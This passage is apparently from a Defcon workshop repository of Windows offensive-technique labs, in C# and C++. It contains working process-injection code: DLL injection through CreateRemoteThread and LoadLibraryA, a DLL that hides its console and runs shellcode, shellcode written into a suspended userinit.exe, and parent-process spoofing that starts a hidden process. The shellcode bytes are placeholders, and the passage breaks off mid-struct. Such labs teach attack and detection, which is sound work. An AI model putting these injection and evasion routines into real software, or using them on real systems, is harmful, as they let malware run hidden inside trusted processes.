32 | val = Convert.ToInt32(Console.ReadLine()); 33 | Console.WriteLine(val); 34 | Process pickedproc = Process.GetProcessById(val); 35 | ProcessModule myProcessModule; 36 | ProcessModuleCollection myProcessModuleCollection = pickedproc.Modules; 37 | Console.WriteLine("Loaded Modules by " + pickedproc.MainModule.FileName); 38 | Console.WriteLine("--------------------------------------------------------------------\n"); 39 | for (int i = 0; i < myProcessModuleCollection.Count; i++) 40 | { 41 | myProcessModule = myProcessModuleCollection[i]; 42 | Console.WriteLine(myProcessModule.FileName); 43 | } 44 | 45 | 46 | } 47 | } -------------------------------------------------------------------------------- /Labs/lab6/2.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Reflection; 3 | using System.Diagnostics; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | 7 | 8 | public class Program 9 | { 10 | 11 | [DllImport("kernel32.dll")] 12 | public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); 13 | 14 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 15 | static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 16 | 17 | [DllImport("kernel32.dll", SetLastError = true)] 18 | static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); 19 | 20 | const int PROCESS_CREATE_THREAD = 0x0002; 21 | const int PROCESS_QUERY_INFORMATION = 0x0400; 22 | const int PROCESS_VM_OPERATION = 0x0008; 23 | const int PROCESS_VM_WRITE = 0x0020; 24 | const int PROCESS_VM_READ = 0x0010; 25 | 26 | const uint MEM_COMMIT = 0x00001000; 27 | const uint MEM_RESERVE = 0x00002000; 28 | const uint PAGE_READWRITE = 4; 29 | 30 | 31 | public static void Main() 32 | { 33 | Console.WriteLine("Listing all processes..."); 34 | Console.WriteLine("--------------------------------------------------------------------"); 35 | 36 | Process[] procs = Process.GetProcesses(); 37 | foreach (Process proc in procs) 38 | { 39 | try 40 | { 41 | Console.WriteLine("Name:" + proc.ProcessName + " Path:" + proc.MainModule.FileName + " Id:" + proc.Id); 42 | } 43 | catch 44 | { 45 | continue; 46 | } 47 | } 48 | Console.WriteLine("--------------------------------------------------------------------\n"); 49 | Console.WriteLine("Enter Id to inspect:"); 50 | int val; 51 | val = Convert.ToInt32(Console.ReadLine()); 52 | Console.WriteLine(val); 53 | Process proc1 = Process.GetProcessById(val); 54 | 55 | Console.WriteLine("Getting handle to process " + proc1.MainModule.FileName); 56 | IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, proc1.Id); 57 | Console.WriteLine("Got procHandle: " + procHandle); 58 | 59 | string blob = "ABCD1234AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; 60 | 61 | Console.WriteLine("Allocating memory in " + proc1.MainModule.FileName); 62 | IntPtr memAddr = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((blob.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 63 | Console.WriteLine("Done."); 64 | 65 | Console.WriteLine("Writing to process memory"); 66 | UIntPtr bytesWritten; 67 | bool resp1 = WriteProcessMemory(procHandle, memAddr, Encoding.Default.GetBytes(blob), (uint)((blob.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten); 68 | Console.WriteLine("Done."); 69 | 70 | 71 | 72 | 73 | 74 | } 75 | } -------------------------------------------------------------------------------- /Labs/lab6/3.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Reflection; 3 | using System.Diagnostics; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | 7 | 8 | public class Program 9 | { 10 | 11 | [DllImport("kernel32.dll")] 12 | public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); 13 | 14 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 15 | static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 16 | 17 | [DllImport("kernel32.dll", SetLastError = true)] 18 | static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); 19 | 20 | [DllImport("kernel32.dll", CharSet = CharSet.Auto)] 21 | public static extern IntPtr GetModuleHandle(string lpModuleName); 22 | 23 | [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] 24 | static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 25 | 26 | [DllImport("kernel32.dll")] 27 | static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); 28 | 29 | 30 | const int PROCESS_CREATE_THREAD = 0x0002; 31 | const int PROCESS_QUERY_INFORMATION = 0x0400; 32 | const int PROCESS_VM_OPERATION = 0x0008; 33 | const int PROCESS_VM_WRITE = 0x0020; 34 | const int PROCESS_VM_READ = 0x0010; 35 | 36 | 37 | const uint MEM_COMMIT = 0x00001000; 38 | const uint MEM_RESERVE = 0x00002000; 39 | const uint PAGE_READWRITE = 4; 40 | 41 | 42 | public static void Main() 43 | { 44 | Console.WriteLine("Listing all processes..."); 45 | Console.WriteLine("--------------------------------------------------------------------"); 46 | 47 | Process[] procs = Process.GetProcesses(); 48 | foreach (Process proc in procs) 49 | { 50 | try 51 | { 52 | Console.WriteLine("Name:" + proc.ProcessName + " Path:" + proc.MainModule.FileName + " Id:" + proc.Id); 53 | } 54 | catch 55 | { 56 | continue; 57 | } 58 | } 59 | Console.WriteLine("--------------------------------------------------------------------\n"); 60 | Console.WriteLine("Enter Process Id to inspect:"); 61 | int val; 62 | val = Convert.ToInt32(Console.ReadLine()); 63 | Console.WriteLine(val); 64 | Process proc1 = Process.GetProcessById(val); 65 | 66 | Console.WriteLine("Getting handle to process " + proc1.MainModule.FileName); 67 | IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, proc1.Id); 68 | Console.WriteLine("Got handle " + procHandle); 69 | 70 | string dllPath = "C:\\Users\\user\\Development\\defcon207\\lab6\\ShellcodeInjectionDll\\ShellcodeDll.dll"; 71 | 72 | Console.WriteLine("Allocating memory in " + proc1.MainModule.FileName); 73 | IntPtr memAddr = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllPath.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 74 | Console.WriteLine("Done."); 75 | 76 | Console.WriteLine("Writing to process memory"); 77 | UIntPtr bytesWritten; 78 | bool resp1 = WriteProcessMemory(procHandle, memAddr, Encoding.Default.GetBytes(dllPath), (uint)((dllPath.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten); 79 | Console.WriteLine("Done."); 80 | 81 | Console.WriteLine("Calculating the address of LoadLibraryA..."); 82 | IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); 83 | Console.WriteLine("Done."); 84 | 85 | Console.WriteLine("Calling CreateRemoteThread"); 86 | CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, memAddr, 0, IntPtr.Zero); 87 | 88 | 89 | 90 | 91 | 92 | } 93 | } -------------------------------------------------------------------------------- /Labs/lab6/MessageBoxDll/MessageBoxDll.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #if BUILDING_DLL 4 | #define DLLIMPORT __declspec(dllexport) 5 | #else 6 | #define DLLIMPORT __declspec(dllimport) 7 | #endif 8 | 9 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) 10 | { 11 | switch (fdwReason) 12 | { 13 | case DLL_PROCESS_ATTACH: 14 | { 15 | MessageBox(0, "Hello World from DLL !!\n", "Dll Injection @ Defcon 27", MB_ICONINFORMATION); 16 | break; 17 | } 18 | case DLL_PROCESS_DETACH: 19 | { 20 | break; 21 | } 22 | case DLL_THREAD_ATTACH: 23 | { 24 | break; 25 | } 26 | case DLL_THREAD_DETACH: 27 | { 28 | break; 29 | } 30 | } 31 | return TRUE; 32 | } 33 | -------------------------------------------------------------------------------- /Labs/lab6/ShellcodeInjectionDll/ShellcodeInjection.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #define EXTERN_DLL_EXPORT extern "C" __declspec(dllexport) 4 | 5 | #if BUILDING_DLL 6 | #define DLLIMPORT __declspec(dllexport) 7 | #else 8 | #define DLLIMPORT __declspec(dllimport) 9 | #endif 10 | 11 | DWORD WINAPI LocalExecPayloadStub(LPVOID lpParameter) { 12 | VOID(*lpCode)() = (VOID(*)())lpParameter; 13 | lpCode(); 14 | return 0; 15 | } 16 | 17 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) 18 | { 19 | switch (fdwReason) 20 | { 21 | case DLL_PROCESS_ATTACH: 22 | { 23 | 24 | HWND hwnd = GetConsoleWindow(); 25 | ShowWindow(hwnd, 0); 26 | 27 | LPVOID lpvAddr; 28 | HANDLE hHand; 29 | DWORD dwWaitResult; 30 | DWORD threadID; 31 | 32 | unsigned char shellcode[] = 33 | "\xfc"; 34 | 35 | lpvAddr = VirtualAlloc(NULL, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 36 | 37 | RtlMoveMemory(lpvAddr, shellcode, sizeof shellcode); 38 | hHand = CreateThread(NULL, 0, LocalExecPayloadStub, lpvAddr, 0, &threadID); 39 | 40 | //dwWaitResult = WaitForSingleObject(hHand,INFINITE); 41 | 42 | break; 43 | } 44 | case DLL_PROCESS_DETACH: 45 | { 46 | break; 47 | } 48 | 49 | case DLL_THREAD_ATTACH: 50 | { 51 | break; 52 | } 53 | case DLL_THREAD_DETACH: 54 | { 55 | break; 56 | } 57 | } 58 | return TRUE; 59 | } 60 | -------------------------------------------------------------------------------- /Labs/lab7/1.cs: -------------------------------------------------------------------------------- 1 | using System.Diagnostics; 2 | using System.Runtime.InteropServices; 3 | using System; 4 | using System.IO; 5 | using System.Text; 6 | using System.Threading; 7 | 8 | 9 | public class Program 10 | { 11 | //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openthread 12 | [DllImport("kernel32.dll")] 13 | static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId); 14 | 15 | //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-suspendthread 16 | [DllImport("kernel32.dll")] 17 | static extern uint SuspendThread(IntPtr hThread); 18 | 19 | //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-resumethread 20 | [DllImport("kernel32.dll")] 21 | static extern int ResumeThread(IntPtr hThread); 22 | 23 | 24 | private static UInt32 SUSPEND_RESUME = 0x0002; 25 | 26 | public static void Main() 27 | { 28 | string proc = "msiexec.exe"; 29 | Process newproc; 30 | newproc = Process.Start(proc); 31 | 32 | Console.WriteLine("Started " + proc + " with Process Id:" + newproc.Id); 33 | Console.WriteLine("Press Key to suspend the process ..."); 34 | Console.ReadKey(); 35 | Console.WriteLine("Suspending process..."); 36 | foreach (ProcessThread thread in newproc.Threads) 37 | { 38 | IntPtr pOpenThread; 39 | pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id); 40 | if (pOpenThread == IntPtr.Zero) 41 | { 42 | break; 43 | } 44 | SuspendThread(pOpenThread); 45 | } 46 | Console.WriteLine("Suspended!"); 47 | Console.WriteLine("Press Key to resume the process ..."); 48 | Console.ReadKey(); 49 | Console.WriteLine("Resuming process..."); 50 | foreach (ProcessThread thread in newproc.Threads) 51 | { 52 | IntPtr pOpenThread; 53 | pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id); 54 | if (pOpenThread == IntPtr.Zero) 55 | { 56 | break; 57 | } 58 | ResumeThread(pOpenThread); 59 | } 60 | Console.WriteLine("Resumed!"); 61 | 62 | } 63 | } -------------------------------------------------------------------------------- /Labs/lab7/2.cs: -------------------------------------------------------------------------------- 1 | using System.Diagnostics; 2 | using System.Runtime.InteropServices; 3 | using System; 4 | using System.Text; 5 | using System.Threading; 6 | 7 | 8 | public class Program 9 | { 10 | 11 | const int PROCESS_CREATE_THREAD = 0x0002; 12 | const int PROCESS_QUERY_INFORMATION = 0x0400; 13 | const int PROCESS_VM_OPERATION = 0x0008; 14 | const int PROCESS_VM_WRITE = 0x0020; 15 | const int PROCESS_VM_READ = 0x0010; 16 | 17 | //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openthread 18 | [DllImport("kernel32.dll")] 19 | //static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId); 20 | static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId); 21 | 22 | //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-suspendthread 23 | [DllImport("kernel32.dll")] 24 | static extern uint SuspendThread(IntPtr hThread); 25 | 26 | //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-resumethread 27 | [DllImport("kernel32.dll")] 28 | static extern int ResumeThread(IntPtr hThread); 29 | 30 | //https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-zwunmapviewofsection 31 | [DllImport("ntdll.dll", SetLastError = true)] 32 | private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress); 33 | 34 | [DllImport("kernel32.dll")] 35 | public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); 36 | 37 | 38 | [DllImport("kernel32.dll")] 39 | //public static extern IntPtr VirtualAllocEx(IntPtr lpHandle,IntPtr lpAddress, IntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect); 40 | public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect); 41 | 42 | [DllImport("kernel32.dll")] 43 | static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); 44 | 45 | //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject 46 | [DllImport("kernel32")] 47 | private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); 48 | 49 | [DllImport("kernel32.dll")] 50 | public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten); 51 | 52 | private static UInt32 MEM_COMMIT = 0x1000; 53 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 54 | private static UInt32 SUSPEND_RESUME = 0x0002; 55 | 56 | public static void Main() 57 | { 58 | 59 | 60 | byte[] shellcode = new byte[1] { 0xfc }; 61 | 62 | string proc = "userinit.exe"; 63 | 64 | Process newproc; 65 | newproc = Process.Start(proc); 66 | Console.WriteLine("Started " + proc + " with Process Id:" + newproc.Id); 67 | Console.WriteLine("Suspending process..."); 68 | foreach (ProcessThread thread in newproc.Threads) 69 | { 70 | IntPtr pOpenThread; 71 | pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id); 72 | if (pOpenThread == IntPtr.Zero) 73 | { 74 | break; 75 | } 76 | SuspendThread(pOpenThread); 77 | } 78 | Console.WriteLine("Suspended!"); 79 | 80 | IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id); 81 | 82 | IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 83 | Console.WriteLine("Allocating memory"); 84 | WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0); 85 | Console.WriteLine("Copied shellcode in memory"); 86 | IntPtr pinfo = IntPtr.Zero; 87 | IntPtr threatH = CreateRemoteThread(procHandle, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0)); 88 | Console.WriteLine("Created remote thread"); 89 | Console.WriteLine("Resuming process..."); 90 | 91 | foreach (ProcessThread thread in newproc.Threads) 92 | { 93 | IntPtr pOpenThread; 94 | pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id); 95 | if (pOpenThread == IntPtr.Zero) 96 | { 97 | break; 98 | } 99 | ResumeThread(pOpenThread); 100 | } 101 | Console.WriteLine("Resumed!"); 102 | 103 | 104 | } 105 | 106 | } -------------------------------------------------------------------------------- /Labs/lab7/3.cs: -------------------------------------------------------------------------------- 1 | 2 | using System.Diagnostics; 3 | using System.Runtime.InteropServices; 4 | using System; 5 | using System.Text; 6 | public class Program 7 | { 8 | [StructLayout(LayoutKind.Sequential)] 9 | public class SecurityAttributes 10 | { 11 | public Int32 Length = 0; 12 | public IntPtr lpSecurityDescriptor = IntPtr.Zero; 13 | public bool bInheritHandle = false; 14 | 15 | public SecurityAttributes() 16 | { 17 | this.Length = Marshal.SizeOf(this); 18 | } 19 | } 20 | [StructLayout(LayoutKind.Sequential)] 21 | public struct ProcessInformation 22 | { 23 | public IntPtr hProcess; 24 | public IntPtr hThread; 25 | public Int32 dwProcessId; 26 | public Int32 dwThreadId; 27 | } 28 | [Flags] 29 | public enum CreateProcessFlags : uint 30 | { 31 | DEBUG_PROCESS = 0x00000001, 32 | DEBUG_ONLY_THIS_PROCESS = 0x00000002, 33 | CREATE_SUSPENDED = 0x00000004, 34 | DETACHED_PROCESS = 0x00000008, 35 | CREATE_NEW_CONSOLE = 0x00000010, 36 | NORMAL_PRIORITY_CLASS = 0x00000020, 37 | IDLE_PRIORITY_CLASS = 0x00000040, 38 | HIGH_PRIORITY_CLASS = 0x00000080, 39 | REALTIME_PRIORITY_CLASS = 0x00000100, 40 | CREATE_NEW_PROCESS_GROUP = 0x00000200, 41 | CREATE_UNICODE_ENVIRONMENT = 0x00000400, 42 | CREATE_SEPARATE_WOW_VDM = 0x00000800, 43 | CREATE_SHARED_WOW_VDM = 0x00001000, 44 | CREATE_FORCEDOS = 0x00002000, 45 | BELOW_NORMAL_PRIORITY_CLASS = 0x00004000, 46 | ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000, 47 | INHERIT_PARENT_AFFINITY = 0x00010000, 48 | INHERIT_CALLER_PRIORITY = 0x00020000, 49 | CREATE_PROTECTED_PROCESS = 0x00040000, 50 | EXTENDED_STARTUPINFO_PRESENT = 0x00080000, 51 | PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000, 52 | PROCESS_MODE_BACKGROUND_END = 0x00200000, 53 | CREATE_BREAKAWAY_FROM_JOB = 0x01000000, 54 | CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000, 55 | CREATE_DEFAULT_ERROR_MODE = 0x04000000, 56 | CREATE_NO_WINDOW = 0x08000000, 57 | PROFILE_USER = 0x10000000, 58 | PROFILE_KERNEL = 0x20000000, 59 | PROFILE_SERVER = 0x40000000, 60 | CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000, 61 | } 62 | 63 | 64 | [StructLayout(LayoutKind.Sequential)] 65 | public class StartupInfo 66 | { 67 | public Int32 cb = 0; 68 | public IntPtr lpReserved = IntPtr.Zero; 69 | public IntPtr lpDesktop = IntPtr.Zero; 70 | public IntPtr lpTitle = IntPtr.Zero; 71 | public Int32 dwX = 0; 72 | public Int32 dwY = 0; 73 | public Int32 dwXSize = 0; 74 | public Int32 dwYSize = 0; 75 | public Int32 dwXCountChars = 0; 76 | public Int32 dwYCountChars = 0; 77 | public Int32 dwFillAttribute = 0; 78 | public Int32 dwFlags = 0; 79 | public Int16 wShowWindow = 0; 80 | public Int16 cbReserved2 = 0; 81 | public IntPtr lpReserved2 = IntPtr.Zero; 82 | public IntPtr hStdInput = IntPtr.Zero; 83 | public IntPtr hStdOutput = IntPtr.Zero; 84 | public IntPtr hStdError = IntPtr.Zero; 85 | public StartupInfo() 86 | { 87 | this.cb = Marshal.SizeOf(this); 88 | } 89 | } 90 | [DllImport("kernel32.dll")] 91 | public static extern IntPtr CreateProcessA(String lpApplicationName, String lpCommandLine, SecurityAttributes lpProcessAttributes, SecurityAttributes lpThreadAttributes, Boolean bInheritHandles, CreateProcessFlags dwCreationFlags, 92 | IntPtr lpEnvironment, 93 | String lpCurrentDirectory, 94 | [In] StartupInfo lpStartupInfo, 95 | out ProcessInformation lpProcessInformation 96 | 97 | ); 98 | 99 | [DllImport("kernel32.dll")] 100 | public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect); 101 | 102 | [DllImport("kernel32.dll")] 103 | public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten); 104 | 105 | [DllImport("kernel32.dll")] 106 | static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); 107 | 108 | 109 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 110 | private static UInt32 MEM_COMMIT = 0x1000; 111 | 112 | public static void Main() 113 | { 114 | string binary = "userinit.exe"; 115 | 116 | byte[] sc = new byte[1] { 0xfc }; 117 | 118 | Int32 size = sc.Length; 119 | StartupInfo sInfo = new StartupInfo(); 120 | sInfo.dwFlags = 0; 121 | ProcessInformation pInfo; 122 | string binaryPath = "C:\\Windows\\System32\\" + binary; 123 | IntPtr funcAddr = CreateProcessA(binaryPath, null, null, null, true, CreateProcessFlags.CREATE_SUSPENDED, IntPtr.Zero, null, sInfo, out pInfo); 124 | IntPtr hProcess = pInfo.hProcess; 125 | IntPtr spaceAddr = VirtualAllocEx(hProcess, new IntPtr(0), size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 126 | 127 | int test = 0; 128 | IntPtr size2 = new IntPtr(sc.Length); 129 | bool bWrite = WriteProcessMemory(hProcess, spaceAddr, sc, size2, test); 130 | CreateRemoteThread(hProcess, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0)); 131 | } 132 | } -------------------------------------------------------------------------------- /Labs/lab8/1.cs: -------------------------------------------------------------------------------- 1 | //https://github.com/leoloobeek/csharp/blob/master/ExecutionTesting.cs 2 | 3 | using System; 4 | using System.Collections.Generic; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Runtime.InteropServices; 8 | using Microsoft.Win32.SafeHandles; 9 | using System.IO; 10 | using System.Diagnostics; 11 | 12 | class Program 13 | { 14 | static void Main() 15 | { 16 | 17 | Console.WriteLine("Listing all processes..."); 18 | Console.WriteLine("--------------------------------------------------------------------"); 19 | 20 | Process[] procs = Process.GetProcesses(); 21 | foreach (Process proc in procs) 22 | { 23 | try 24 | { 25 | Console.WriteLine("Name:" + proc.ProcessName + " Path:" + proc.MainModule.FileName + " Id:" + proc.Id); 26 | } 27 | catch 28 | { 29 | continue; 30 | } 31 | } 32 | Console.WriteLine("--------------------------------------------------------------------\n"); 33 | Console.WriteLine("Enter Id:"); 34 | int ParentProcId; 35 | ParentProcId = Convert.ToInt32(Console.ReadLine()); 36 | Console.WriteLine(ParentProcId); 37 | 38 | string binaryPath = "C:\\Windows\\System32\\notepad.exe"; 39 | 40 | Console.WriteLine(String.Format("Press enter to execute '{0}' under pid {1}", binaryPath, ParentProcId)); 41 | Console.ReadKey(); 42 | SpoofParent.Run(ParentProcId, binaryPath); 43 | Console.WriteLine("Done. Press any key to exit..."); 44 | Console.ReadKey(); 45 | } 46 | } 47 | 48 | class SpoofParent 49 | { 50 | [DllImport("kernel32.dll")] 51 | [return: MarshalAs(UnmanagedType.Bool)] 52 | static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); 53 | 54 | [DllImport("kernel32.dll", SetLastError = true)] 55 | public static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId); 56 | 57 | [DllImport("kernel32.dll", SetLastError = true)] 58 | public static extern UInt32 WaitForSingleObject(IntPtr handle, UInt32 milliseconds); 59 | 60 | [DllImport("kernel32.dll", SetLastError = true)] 61 | [return: MarshalAs(UnmanagedType.Bool)] 62 | private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize); 63 | 64 | [DllImport("kernel32.dll", SetLastError = true)] 65 | [return: MarshalAs(UnmanagedType.Bool)] 66 | private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize); 67 | 68 | [DllImport("kernel32.dll", SetLastError = true)] 69 | static extern bool SetHandleInformation(IntPtr hObject, HANDLE_FLAGS dwMask, HANDLE_FLAGS dwFlags); 70 | 71 | [DllImport("kernel32.dll", SetLastError = true)] 72 | static extern bool CloseHandle(IntPtr hObject); 73 | 74 | [DllImport("kernel32.dll", SetLastError = true)] 75 | [return: MarshalAs(UnmanagedType.Bool)] 76 | static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, ref IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions); 77 | 78 | public static bool Run(int parentProcessId, string binaryPath) 79 | { 80 | // STARTUPINFOEX members 81 | const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000; 82 | 83 | // STARTUPINFO members (dwFlags and wShowWindow) 84 | const int STARTF_USESTDHANDLES = 0x00000100; 85 | const int STARTF_USESHOWWINDOW = 0x00000001; 86 | const short SW_HIDE = 0x0000; 87 | 88 | // dwCreationFlags 89 | const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000; 90 | const uint CREATE_NO_WINDOW = 0x08000000; 91 | 92 | var pInfo = new PROCESS_INFORMATION(); 93 | var siEx = new STARTUPINFOEX(); 94 | 95 | //siEx.StartupInfo.cb = Marshal.SizeOf(siEx); 96 | IntPtr lpValueProc = IntPtr.Zero; 97 | IntPtr hSourceProcessHandle = IntPtr.Zero; 98 | var lpSize = IntPtr.Zero; 99 | 100 | InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize); 101 | siEx.lpAttributeList = Marshal.AllocHGlobal(lpSize); 102 | InitializeProcThreadAttributeList(siEx.lpAttributeList, 1, 0, ref lpSize); 103 | 104 | IntPtr parentHandle = OpenProcess(ProcessAccessFlags.CreateProcess | ProcessAccessFlags.DuplicateHandle, false, parentProcessId); 105 | 106 | lpValueProc = Marshal.AllocHGlobal(IntPtr.Size); 107 | Marshal.WriteIntPtr(lpValueProc, parentHandle); 108 | 109 | UpdateProcThreadAttribute(siEx.lpAttributeList, 0, (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, lpValueProc, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero); 110 | 111 | siEx.StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; 112 | siEx.StartupInfo.wShowWindow = SW_HIDE; 113 | 114 | var ps = new SECURITY_ATTRIBUTES(); 115 | var ts = new SECURITY_ATTRIBUTES(); 116 | ps.nLength = Marshal.SizeOf(ps); 117 | ts.nLength = Marshal.SizeOf(ts); 118 | bool ret = CreateProcess(binaryPath, null, ref ps, ref ts, true, EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW, IntPtr.Zero, null, ref siEx, out pInfo); 119 | if (!ret) 120 | { 121 | Console.WriteLine("[!] Proccess failed to execute!"); 122 | return false; 123 | } 124 | 125 | return true; 126 | 127 | 128 | } 129 | 130 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 131 | struct STARTUPINFOEX 132 | { 133 | public STARTUPINFO StartupInfo; 134 | public IntPtr lpAttributeList; 135 | } 136 | 137 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 138 | struct STARTUPINFO 139 | { 140 | public Int32 cb; 141 | public string lpReserved; 142 | public string lpDesktop; 143 | public string lpTitle; 144 | public Int32 dwX; 145 | public Int32 dwY; 146 | public Int32 dwXSize; 147 | public Int32 dwYSize; 148 | public Int32 dwXCountChars; 149 | public Int32 dwYCountChars; 150 | public Int32 dwFillAttribute; 151 | public Int32 dwFlags; 152 | public Int16 wShowWindow; 153 | public Int16 cbReserved2; 154 | public IntPtr lpReserved2; 155 | public IntPtr hStdInput; 156 | public IntPtr hStdOutput; 157 | public IntPtr 